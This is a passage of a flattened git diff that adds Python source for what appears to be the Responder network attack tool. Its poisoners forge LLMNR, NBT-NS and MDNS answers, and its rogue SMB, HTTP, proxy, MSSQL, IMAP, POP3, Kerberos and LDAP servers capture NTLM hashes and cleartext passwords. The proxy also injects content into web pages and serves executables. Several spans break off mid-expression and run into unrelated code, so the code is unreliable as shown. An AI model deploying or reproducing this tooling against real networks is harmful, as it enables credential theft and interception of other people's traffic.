Poisoned answer sent to host: %-15s Request: %s." % (color(self.client_address[0], 3, 0), color(Name, 3, 0)) + + if PrintLLMNRNBTNS(settings.Config.Log2Filename, Message): + print text(Message) + + if settings.Config.Finger_On_Off: + try: + Finger = fingerprint.RunSmbFinger((self.client_address[0], 445)) + print text('[FINGER] OS: %s, Client: %s' % (color(Finger[0], 3, 0), color(Finger[1], 3, 0))) + + except Exception: + print text('[FINGER] Fingerprint failed for host: %s' % color(Name, 3, 0)) + pass + + + else: + pass + except: + raise +""" diff --git a/poisoners/MDNS.py b/poisoners/MDNS.py new file mode 100644 index 0000000..da1db05 --- /dev/null +++ b/poisoners/MDNS.py @@ -0,0 +1,54 @@ +import struct +import settings +import socket + +from SocketServer import BaseRequestHandler +from packets import MDNS_Ans +from utils import * + +def Parse_MDNS_Name(data): + data = data[12:] + NameLen = struct.unpack('>B',data[0])[0] + Name = data[1:1+NameLen] + NameLen_ = struct.unpack('>B',data[1+NameLen])[0] + Name_ = data[1+NameLen:1+NameLen+NameLen_+1] + return Name+'.'+Name_ + +def Poisoned_MDNS_Name(data): + data = data[12:] + Name = data[:len(data)-5] + return Name + +class MDNS(BaseRequestHandler): + + def handle(self): + + MADDR = "224.0.0.251" + MPORT = 5353 + + data, soc = self.request + Request_Name = Parse_MDNS_Name(data) + + # Break out if we don't want to respond to this host + if RespondToThisHost(self.client_address[0], Request_Name) is not True: + return None + + try: + # Analyze + if settings.Config.AnalyzeMode: + if Parse_IPV6_Addr(data): + print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3, 0), color(Request_Name, 3, 0))) + + else: + # Send poisoned packet + if Parse_IPV6_Addr(data): + + Poisoned_Name = Poisoned_MDNS_Name(data) + Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=socket.inet_aton(settings.Config.Responder_IP)) + Buffer.calculate() + soc.sendto(str(Buffer), (MADDR, MPORT)) + + print color('[MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1) + + except Exception: + raise \ No newline at end of file diff --git a/poisoners/NBTNS.py b/poisoners/NBTNS.py new file mode 100644 index 0000000..69b8cf3 --- /dev/null +++ b/poisoners/NBTNS.py @@ -0,0 +1,96 @@ +import socket +import settings +import string +import fingerprint + +from packets import NBT_Ans +from SocketServer import BaseRequestHandler +from utils import * + +def NBT_NS_Role(data): + Role = { + "\x41\x41\x00":"Workstation/Redirector Service.", + "\x42\x4c\x00":"Domain Master Browser. This name is likely a domain controller or a homegroup.)", + "\x42\x4d\x00":"Domain controller service. This name is a domain controller.", + "\x42\x4e\x00":"Local Master Browser.", + "\x42\x4f\x00":"Browser Election Service.", + "\x43\x41\x00":"File Server Service.", + "\x41\x42\x00":"Browser Service.", + } + + if data in Role: + return Role[data] + else: + return "Service not known." + +# Define what are we answering to. +def Validate_NBT_NS(data): + if settings.Config.AnalyzeMode: + return False + + if NBT_NS_Role(data[43:46]) == "File Server Service.": + return True + + if settings.Config.NBTNSDomain == True: + if NBT_NS_Role(data[43:46]) == "Domain controller service. This name is a domain controller.": + return True + + if settings.Config.Wredirect == True: + if NBT_NS_Role(data[43:46]) == "Workstation/Redirector Service.": + return True + + else: + return False + +def Decode_Name(nbname): + #From http://code.google.com/p/dpkt/ with author's permission. + try: + if len(nbname) != 32: + return nbname + l = [] + for i in range(0, 32, 2): + l.append(chr(((ord(nbname[i]) - 0x41) << 4) | + ((ord(nbname[i+1]) - 0x41) & 0xf))) + return filter(lambda x: x in string.printable, ''.join(l).split('\x00', 1)[0].replace(' ', '')) + except: + return "Illegal NetBIOS name" + +# NBT_NS Server class. +class NBTNS(BaseRequestHandler): + + def handle(self): + + data, socket = self.request + Name = Decode_Name(data[13:45]) + + # Break out if we don't want to respond to this host + if RespondToThisHost(self.client_address[0], Name) is not True: + return None + + if data[2:4] == "\x01\x10": + + if settings.Config.Finger_On_Off: + Finger = fingerprint.RunSmbFinger((self.client_address[0],445)) + else: + Finger = None + + # Analyze Mode + if settings.Config.AnalyzeMode: + Filename = settings.Config.AnalyzeFilename + LineHeader = "[Analyze mode: NBT-NS]" + print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1) + + # Poisoning Mode + else: + Buffer = NBT_Ans() + Buffer.calculate(data) + socket.sendto(str(Buffer), self.client_address) + + Filename = settings.Config.Log2Filename + LineHeader = "[NBT-NS]" + + print color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(data[43:46])), 2, 1) + + if Finger is not None: + print text("%s [FINGER] OS Version : %s" % (LineHeader, color(Finger[0], 3, 0))) + print text("%s [FINGER] Client Version : %s" % (LineHeader, color(Finger[1], 3, 0))) diff --git a/poisoners/__init__.py b/poisoners/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/servers/Browser.py b/servers/Browser.py new file mode 100644 index 0000000..787c053 --- /dev/null +++ b/servers/Browser.py @@ -0,0 +1,203 @@ +import socket +import struct +import settings + +from packets import SMBHeader, SMBNegoData, SMBSessionData, SMBTreeConnectData, RAPNetServerEnum3Data, SMBTransRAPData +from SocketServer import BaseRequestHandler +from utils import * + +def WorkstationFingerPrint(data): + Role = { + "\x04\x00" :"Windows 95", + "\x04\x10" :"Windows 98", + "\x04\x90" :"Windows ME", + "\x05\x00" :"Windows 2000", + "\x05\x00" :"Windows XP", + "\x05\x02" :"Windows 2003", + "\x06\x00" :"Windows Vista/Server 2008", + "\x06\x01" :"Windows 7/Server 2008R2", + } + + return Role[data] if data in Role else False + +def RequestType(data): + Type = { + "\x01": 'Host Announcement', + "\x02": 'Request Announcement', + "\x08": 'Browser Election', + "\x09": 'Get Backup List Request', + "\x0a": 'Get Backup List Response', + "\x0b": 'Become Backup Browser', + "\x0c": 'Domain/Workgroup Announcement', + "\x0d": 'Master Announcement', + "\x0e": 'Reset Browser State Announcement', + "\x0f": 'Local Master Announcement', + } + + return Type[data] if data in Type else False + +def PrintServerName(data, entries): + if entries == 0: + pass + + else: + entrieslen = 26*entries + chunks, chunk_size = len(data[:entrieslen]), entrieslen/entries + ServerName = [data[i:i+chunk_size] for i in range(0, chunks, chunk_size) ] + l = [] + for x in ServerName: + if WorkstationFingerPrint(x[16:18]): + l.append(x[:16].replace('\x00', '') + '\n [-] Os version is: %s'%(WorkstationFingerPrint(x[16:18]))) + else: + l.append(x[:16].replace('\x00', '')) + + return l + +def ParsePacket(Payload): + PayloadOffset = struct.unpack('i", len(''.join(Packet))) + Packet + + s.send(Buffer) + data = s.recv(1024) + + # Session Setup AndX Request, Anonymous. + if data[8:10] == "\x72\x00": + Header = SMBHeader(cmd="\x73",mid="\x02\x00") + Body = SMBSessionData() + Body.calculate() + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet))) + Packet + + s.send(Buffer) + data = s.recv(1024) + + # Tree Connect IPC$. + if data[8:10] == "\x73\x00": + Header = SMBHeader(cmd="\x75",flag1="\x08", flag2="\x01\x00",uid=data[32:34],mid="\x03\x00") + Body = SMBTreeConnectData(Path="\\\\"+Host+"\\IPC$") + Body.calculate() + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet))) + Packet + + s.send(Buffer) + data = s.recv(1024) + + # Rap ServerEnum. + if data[8:10] == "\x75\x00": + Header = SMBHeader(cmd="\x25",flag1="\x08", flag2="\x01\xc8",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x04\x00") + Body = SMBTransRAPData(Data=RAPNetServerEnum3Data(ServerType=Type,DetailLevel="\x01\x00",TargetDomain=Domain)) + Body.calculate() + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet))) + Packet + + s.send(Buffer) + data = s.recv(64736) + + # Rap ServerEnum, Get answer and return what we're looking for. + if data[8:10] == "\x25\x00": + s.close() + return ParsePacket(data) + except: + return None + +def BecomeBackup(data,Client): + try: + DataOffset = struct.unpack(' 24: + NthashLen = 64 + DomainLen = struct.unpack(' 2: + print text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip()) + +# Handle HTTP packet sequence. +def PacketSequence(data,client): + NTLM_Auth = re.findall('(?<=Authorization: NTLM )[^\\r]*', data) + Basic_Auth = re.findall('(?<=Authorization: Basic )[^\\r]*', data) + + if settings.Config.Exe_On_Off == True and re.findall('.exe', data): + Buffer = ServerExeFile(Payload = ServeEXE(data,client,settings.Config.HtmlFilename),filename=settings.Config.HtmlFilename) + Buffer.calculate() + return str(Buffer) + + if settings.Config.Exec_Mode_On_Off == True: + if settings.Config.Exe_Filename.endswith('.exe'): + Buffer = ServeAlwaysExeFile(Payload = ServeEXE(data,client,settings.Config.Exe_Filename),ContentDiFile=settings.Config.Exe_Filename) + Buffer.calculate() + return str(Buffer) + + else: + Buffer = ServeAlwaysNormalFile(Payload = ServeEXE(data,client,settings.Config.Exe_Filename)) + Buffer.calculate() + return str(Buffer) + + if NTLM_Auth: + Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9] + + if Packet_NTLM == "\x01": + GrabURL(data, client) + GrabHost(data, client) + GrabCookie(data, client) + + Buffer = NTLM_Challenge(ServerChallenge=settings.Config.Challenge) + Buffer.calculate() + + Buffer_Ans = IIS_NTLM_Challenge_Ans() + Buffer_Ans.calculate(str(Buffer)) + + return str(Buffer_Ans) + + if Packet_NTLM == "\x03": + NTLM_Auth = b64decode(''.join(NTLM_Auth)) + ParseHTTPHash(NTLM_Auth, client) + WPAD_Custom = WpadCustom(data, client) + + if settings.Config.Force_WPAD_Auth and WPAD_Custom: + print text("[HTTP] WPAD (auth) file sent to %s" % client) + return WPAD_Custom + + else: + Buffer = IIS_Auth_Granted(Payload=settings.Config.HTMLToServe) + Buffer.calculate() + return str(Buffer) + + if Basic_Auth: + ClearText_Auth = b64decode(''.join(Basic_Auth)) + + GrabURL(data, client) + GrabHost(data, client) + GrabCookie(data, client) + + WPAD_Custom = WpadCustom(data,client) + + outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "HTTP-Clear-Text-Password-%s.txt" % client) + + if PrintData(outfile, ClearText_Auth): + print text("[HTTP] (Basic) Client : %s" % client) + print text("[HTTP] (Basic) Username : %s" % ClearText_Auth.split(':')[0]) + print text("[HTTP] (Basic) Password : %s" % ClearText_Auth.split(':')[1]) + WriteData(outfile, ClearText_Auth, ClearText_Auth) + + if settings.Config.Force_WPAD_Auth and WPAD_Custom: + print text("[HTTP] WPAD (auth) file sent to %s" % client, 3, 0) + return WPAD_Custom + + else: + Buffer = IIS_Auth_Granted(Payload=settings.Config.HTMLToServe) + Buffer.calculate() + return str(Buffer) + + else: + Response = IIS_Basic_401_Ans() if settings.Config.Basic == True else IIS_Auth_401_Ans() + return str(Response) + +# HTTP Server class +class HTTP(BaseRequestHandler): + + def handle(self): + try: + while True: + self.request.settimeout(1) + data = self.request.recv(8092) + Buffer = WpadCustom(data, self.client_address[0]) + + if Buffer and settings.Config.Force_WPAD_Auth == False: + self.request.send(Buffer) + print text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0]) + + else: + Buffer = PacketSequence(data,self.client_address[0]) + self.request.send(Buffer) + except socket.error: + pass + +# HTTPS Server class +class HTTPS(StreamRequestHandler): + def setup(self): + self.exchange = self.request + self.rfile = socket._fileobject(self.request, "rb", self.rbufsize) + self.wfile = socket._fileobject(self.request, "wb", self.wbufsize) + + def handle(self): + try: + while True: + data = self.exchange.recv(8092) + self.exchange.settimeout(0.5) + Buffer = WpadCustom(data,self.client_address[0]) + + if Buffer and settings.Config.Force_WPAD_Auth == False: + self.exchange.send(Buffer) + print text("[HTTPS] WPAD (no auth) file sent to %s" % self.client_address[0]) + + else: + Buffer = PacketSequence(data,self.client_address[0]) + self.exchange.send(Buffer) + except: + pass + +# SSL context handler +class SSLSock(ThreadingMixIn, TCPServer): + def __init__(self, server_address, RequestHandlerClass): + from OpenSSL import SSL + + BaseServer.__init__(self, server_address, RequestHandlerClass) + ctx = SSL.Context(SSL.SSLv3_METHOD) + + cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert) + key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey) + + ctx.use_privatekey_file(key) + ctx.use_certificate_file(cert) + + self.socket = SSL.Connection(ctx, socket.socket(self.address_family, self.socket_type)) + self.server_bind() + self.server_activate() + + def shutdown_request(self,request): + try: + request.shutdown() + except: + pass diff --git a/servers/HTTP_Proxy.py b/servers/HTTP_Proxy.py new file mode 100644 index 0000000..de8d2f5 --- /dev/null +++ b/servers/HTTP_Proxy.py @@ -0,0 +1,333 @@ +import os +import settings +import urlparse +import select +import zlib +import BaseHTTPServer + +from utils import * + +def HandleGzip(Headers, Content, Payload): + if len(Content) > 5: + try: + unziped = zlib.decompress(Content, 16+zlib.MAX_WBITS) + except: + return False + + InjectPayload = Payload + Len = ''.join(re.findall('(?<=Content-Length: )[^\r\n]*', Headers)) + HasBody = re.findall('(?<= 1: + try: + Headers, Content = data.split('\r\n\r\n') + except: + return data + + RedirectCodes = ['HTTP/1.1 300', 'HTTP/1.1 301', 'HTTP/1.1 302', 'HTTP/1.1 303', 'HTTP/1.1 304', 'HTTP/1.1 305', 'HTTP/1.1 306', 'HTTP/1.1 307'] + + if [s for s in RedirectCodes if s in Headers]: + return data + + if "content-encoding: gzip" in Headers.lower(): + + Gzip = HandleGzip(Headers, Content, settings.Config.HTMLToServe) + return Gzip if Gzip else data + + if "content-type: text/html" in Headers.lower(): + + Len = ''.join(re.findall('(?<=Content-Length: )[^\r\n]*', Headers)) + HasBody = re.findall('(?<== 0: + host_port = netloc[:i], int(netloc[i+1:]) + else: + host_port = netloc, 80 + try: soc.connect(host_port) + except socket.error, arg: + try: msg = arg[1] + except: msg = arg + self.send_error(404, msg) + return 0 + return 1 + + def socket_proxy(self): + Proxy = settings.Config.Upstream_Proxy + Proxy = Proxy.rstrip('/').replace('http://', '').replace('https://', '') + Proxy = Proxy.split(':') + + try: Proxy = (Proxy[0], int(Proxy[1])) + except: Proxy = (Proxy[0], 8080) + + soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + return ProxySock(soc, Proxy[0], Proxy[1]) + + def do_CONNECT(self): + + if settings.Config.Upstream_Proxy: + soc = self.socket_proxy() + else: + soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + try: + if self._connect_to(self.path, soc): + self.wfile.write(self.protocol_version +" 200 Connection established\r\n") + self.wfile.write("Proxy-agent: %s\r\n" % self.version_string()) + self.wfile.write("\r\n") + try: + self._read_write(soc, 300) + except: + pass + finally: + soc.close() + self.connection.close() + + def do_GET(self): + (scm, netloc, path, params, query, fragment) = urlparse.urlparse(self.path, 'http') + + if scm not in ('http') or fragment or not netloc: + self.send_error(400, "bad url %s" % self.path) + return + + if settings.Config.Upstream_Proxy: + soc = self.socket_proxy() + else: + soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + try: + URL_Unparse = urlparse.urlunparse(('', '', path, params, query, '')) + + if self._connect_to(netloc, soc): + soc.send("%s %s %s\r\n" % (self.command, URL_Unparse, self.request_version)) + + Cookie = self.headers['Cookie'] if "Cookie" in self.headers else '' + + print text("[PROXY] Client : %s" % color(self.client_address[0], 3, 0)) + print text("[PROXY] Requested URL : %s" % color(self.path, 3, 0)) + print text("[PROXY] Cookie : %s" % Cookie) + + self.headers['Connection'] = 'close' + del self.headers['Proxy-Connection'] + + for key_val in self.headers.items(): + soc.send("%s: %s\r\n" % key_val) + soc.send("\r\n") + + try: self._read_write(soc, netloc) + except: pass + + finally: + soc.close() + self.connection.close() + + def _read_write(self, soc, netloc='', max_idling=30): + iw = [self.connection, soc] + ow = [] + count = 0 + while 1: + count += 1 + (ins, _, exs) = select.select(iw, ow, iw, 1) + if exs: + break + if ins: + for i in ins: + if i is soc: + out = self.connection + try: + data = i.recv(8192) + if len(settings.Config.HTMLToServe)>5: + data = InjectData(data) + else: + data = InjectPage(data,self.client_address[0]) + + except: + pass + else: + out = soc + data = i.recv(8192) + if self.command == "POST": + print text("[PROXY] POST Data : %s" % data) + if data: + try: + out.send(data) + count = 0 + except: + pass + if count == max_idling: + break + return None + + + do_HEAD = do_GET + do_POST = do_GET + do_PUT = do_GET + do_DELETE=do_GET diff --git a/servers/IMAP.py b/servers/IMAP.py new file mode 100644 index 0000000..694ba77 --- /dev/null +++ b/servers/IMAP.py @@ -0,0 +1,35 @@ +import os +import settings + +from SocketServer import BaseRequestHandler +from packets import IMAPGreeting, IMAPCapability, IMAPCapabilityEnd + +# IMAP4 Server class +class IMAP(BaseRequestHandler): + + def handle(self): + try: + self.request.send(str(IMAPGreeting())) + data = self.request.recv(1024) + + if data[5:15] == "CAPABILITY": + RequestTag = data[0:4] + self.request.send(str(IMAPCapability())) + self.request.send(str(IMAPCapabilityEnd(Tag=RequestTag))) + data = self.request.recv(1024) + + if data[5:10] == "LOGIN": + Credentials = data[10:].strip() + Outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "IMAP-Clear-Text-Password-%s.txt" % self.client_address[0]) + WriteData(Outfile, Credentials, Credentials) + + print text("[IMAP] Address : %s" % color(self.client_address[0], 3, 0)) + print text("[IMAP] Username : %s" % color(Credentials[0], 3, 0)) + print text("[IMAP] Password : %s" % color(Credentials[1], 3, 0)) + + ## FIXME: Close connection properly + ## self.request.send(str(ditchthisconnection())) + ## data = self.request.recv(1024) + + except Exception: + pass \ No newline at end of file diff --git a/servers/Kerberos.py b/servers/Kerberos.py new file mode 100644 index 0000000..d8f0477 --- /dev/null +++ b/servers/Kerberos.py @@ -0,0 +1,131 @@ +import os +import struct +import settings + +from SocketServer import BaseRequestHandler +from utils import * + +def ParseMSKerbv5TCP(Data): + MsgType = Data[21:22] + EncType = Data[43:44] + MessageType = Data[32:33] + + if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02": + if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33": + HashLen = struct.unpack(' 10: + LMhashOffset = struct.unpack('i',data[2:6])[0] + MessageSequence = struct.unpack('i',data[11:15])[0] + LDAPVersion = struct.unpack(' 60: + outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "MSSQL-NTLMv2-Client-%s.txt" % client) + + if PrintData(outfile,User+"::"+Domain): + print text("[MSSQL] NTLMv1 Client : %s" % color(client, 3, 0)) + print text("[MSSQL] NTLMv1 Domain : %s" % color(Domain, 3, 0)) + print text("[MSSQL] NTLMv1 User : %s" % color(User, 3, 0)) + print text("[MSSQL] NTLMv1 Hash : %s" % color(NTHash[:32]+":"+NTHash[32:], 3, 0)) + + WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:]) + WriteData(outfile,WriteHash,User+"::"+Domain) + +def ParseSqlClearTxtPwd(Pwd): + Pwd = map(ord,Pwd.replace('\xa5','')) + Pw = [] + for x in Pwd: + Pw.append(hex(x ^ 0xa5)[::-1][:2].replace("x","0").decode('hex')) + return ''.join(Pw) + +def ParseClearTextSQLPass(data, client): + + TDS = TDS_Login_Packet(data) + outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "MSSQL-PlainText-Password-%s.txt" % client) + WritePass = TDS.UserName +':'+ ParseSqlClearTxtPwd(TDS.Password) + + if PrintData(outfile,WritePass): + print text("[MSSQL] Client : %s (%s)" % (color(client, 3, 0) , color(TDS.ClientName, 3, 0))) + print text("[MSSQL] Server : %s" % color(TDS.ServerName, 3, 0)) + print text("[MSSQL] Database : %s" % color(TDS.DatabaseName, 3, 0)) + print text("[MSSQL] Username : %s" % color(TDS.UserName, 3, 0)) + print text("[MSSQL] Password : %s" % color(ParseSqlClearTxtPwd(TDS.Password), 3, 0)) + + WriteData(outfile, WritePass, WritePass) + +# MSSQL Server class +class MSSQL(BaseRequestHandler): + + def handle(self): + try: + while True: + data = self.request.recv(1024) + self.request.settimeout(0.1) + + # Pre-Login Message + if data[0] == "\x12": + Buffer = str(MSSQLPreLoginAnswer()) + self.request.send(Buffer) + data = self.request.recv(1024) + + # NegoSSP + if data[0] == "\x10": + if re.search("NTLMSSP",data): + Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=settings.Config.Challenge) + Packet.calculate() + Buffer = str(Packet) + self.request.send(Buffer) + data = self.request.recv(1024) + + else: + ParseClearTextSQLPass(data,self.client_address[0]) + + # NegoSSP Auth + if data[0] == "\x11": + ParseSQLHash(data,self.client_address[0]) + + except socket.timeout: + pass + self.request.close() \ No newline at end of file diff --git a/servers/POP3.py b/servers/POP3.py new file mode 100644 index 0000000..9ae4d62 --- /dev/null +++ b/servers/POP3.py @@ -0,0 +1,40 @@ +import os +import settings + +from SocketServer import BaseRequestHandler +from packets import POPOKPacket + +# POP3 Server class +class POP3(BaseRequestHandler): + + def SendPacketAndRead(self): + Packet = POPOKPacket() + self.request.send(str(Packet)) + data = self.request.recv(1024) + + return data + + def handle(self): + try: + data = self.SendPacketAndRead() + + if data[0:4] == "USER": + User = data[5:].replace("\r\n","") + data = self.SendPacketAndRead() + + if data[0:4] == "PASS": + Pass = data[5:].replace("\r\n","") + Outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "POP3-Clear-Text-Password-%s.txt" % self.client_address[0]) + WriteData(Outfile,User+":"+Pass, User+":"+Pass) + + text("[POP3] Address : %s" % self.client_address[0]) + text("[POP3] Username : %s" % User) + text("[POP3] Password : %s" % Pass) + + data = self.SendPacketAndRead() + + else : + data = self.SendPacketAndRead() + + except Exception: + pass \ No newline at end of file diff --git a/servers/SMB.py b/servers/SMB.py new file mode 100644 index 0000000..d2e39dd --- /dev/null +++ b/servers/SMB.py @@ -0,0 +1,361 @@ +import struct +import settings + +from random import randrange +from packets import SMBHeader, SMBNegoAnsLM, SMBNegoAns, SMBNegoKerbAns, SMBSession1Data, SMBSession2Accept, SMBSessEmpty, SMBTreeData +from SocketServer import BaseRequestHandler +from utils import * + +# Detect if SMB auth was Anonymous +def Is_Anonymous(data): + SecBlobLen = struct.unpack(' 260: + LMhashLen = struct.unpack(' 60: + SMBHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper() + DomainLen = struct.unpack(' 25: + FullHash = data[65+LMhashLen:65+LMhashLen+NthashLen] + LmHash = FullHash.encode('hex')[:32].upper() + NtHash = FullHash.encode('hex')[32:].upper() + + pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2] + var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]] + Username, Domain = tuple(var) + + print text("[SMB] NTLMv2 Address : %s" % client) + print text("[SMB] NTLMv2 Username : %s\\%s" % (Domain, User)) + print text("[SMB] NTLMv2 Hash : %s" % NtHash) + + outfile = "./logs/SMB-NTLMv2-Client-"+client+".txt" + WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, LmHash, NtHash) + WriteData(outfile, WriteHash, Username+"::"+Domain) + + if NthashLen == 24: + NtHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper() + LmHash = data[65:65+LMhashLen].encode('hex').upper() + + pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2] + var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]] + Username, Domain = tuple(var) + + print text("[SMB] NTLMv1 Address : %s" % client) + print text("[SMB] NTLMv1 Username : %s\\%s" % (Domain, User)) + print text("[SMB] NTLMv1 Hash : %s" % NtHash) + + outfile = "./logs/SMB-NTLMv1-Client-"+client+".txt" + WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LmHash, NtHash, settings.Config.NumChal) + WriteData(outfile, WriteHash, Username+"::"+Domain) + +def IsNT4ClearTxt(data): + HeadLen = 36 + Flag2 = data[14:16] + + if Flag2 == "\x03\x80": + SmbData = data[HeadLen+14:] + WordCount = data[HeadLen] + ChainedCmdOffset = data[HeadLen+1] + + if ChainedCmdOffset == "\x75": + PassLen = struct.unpack(' 2: + + Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","") + User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","") + print text("[SMB] Clear Text Credentials: %s:%s" %(User,Password)) + +# SMB Server class, NTLMSSP +class SMB1(BaseRequestHandler): + + def handle(self): + try: + while True: + data = self.request.recv(1024) + self.request.settimeout(1) + + if len(data) < 1: + print hexdump(data) + break + + ##session request 139 + if data[0] == "\x81": + Buffer = "\x82\x00\x00\x00" + self.request.send(Buffer) + data = self.request.recv(1024) + + ##Negotiate proto answer. + if data[8:10] == "\x72\x00": + #Customize SMB answer. + Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data)) + Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data)) + Body.calculate() + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + + self.request.send(Buffer) + data = self.request.recv(1024) + + ##Session Setup AndX Request + if data[8:10] == "\x73\x00": + IsNT4ClearTxt(data) + + Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data)) + Body = SMBSession1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge) + Body.calculate() + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + + self.request.send(Buffer) + data = self.request.recv(4096) + + if data[8:10] == "\x73\x00": + if Is_Anonymous(data): + Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins. + Body = SMBSessEmpty() + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + + self.request.send(Buffer) + + else: + ParseSMBHash(data,self.client_address[0]) + Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) + Body = SMBSession2Accept() + Body.calculate() + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + + self.request.send(Buffer) + data = self.request.recv(1024) + + ##Tree Connect IPC Answer + if data[8:10] == "\x75\x00": + ParseShare(data) + Header = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data)) + Body = SMBTreeData() + Body.calculate() + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + + self.request.send(Buffer) + data = self.request.recv(1024) + + ##Tree Disconnect. + if data[8:10] == "\x71\x00": + Header = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) + Body = "\x00\x00\x00" + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + + self.request.send(Buffer) + data = self.request.recv(1024) + + ##NT_CREATE Access Denied. + if data[8:10] == "\xa2\x00": + Header = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) + Body = "\x00\x00\x00" + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + + self.request.send(Buffer) + data = self.request.recv(1024) + + ##Trans2 Access Denied. + if data[8:10] == "\x25\x00": + Header = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) + Body = "\x00\x00\x00" + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + + self.request.send(Buffer) + data = self.request.recv(1024) + + ##LogOff. + if data[8:10] == "\x74\x00": + Header = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) + Body = "\x02\xff\x00\x27\x00\x00\x00" + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + + self.request.send(Buffer) + data = self.request.recv(1024) + + except socket.timeout: + pass + +# SMB Server class, old version +class SMB1LM(BaseRequestHandler): + + def handle(self): + try: + self.request.settimeout(0.5) + data = self.request.recv(1024) + + ##session request 139 + if data[0] == "\x81": + Buffer = "\x82\x00\x00\x00" + self.request.send(Buffer) + data = self.request.recv(1024) + + ##Negotiate proto answer. + if data[8:10] == "\x72\x00": + head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data)) + Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=settings.Config.Challenge) + Body.calculate() + Packet = str(head)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + self.request.send(Buffer) + data = self.request.recv(1024) + + ##Session Setup AndX Request + if data[8:10] == "\x73\x00": + if Is_LMNT_Anonymous(data): + head = SMBHeader(cmd="\x73",flag1="\x90", 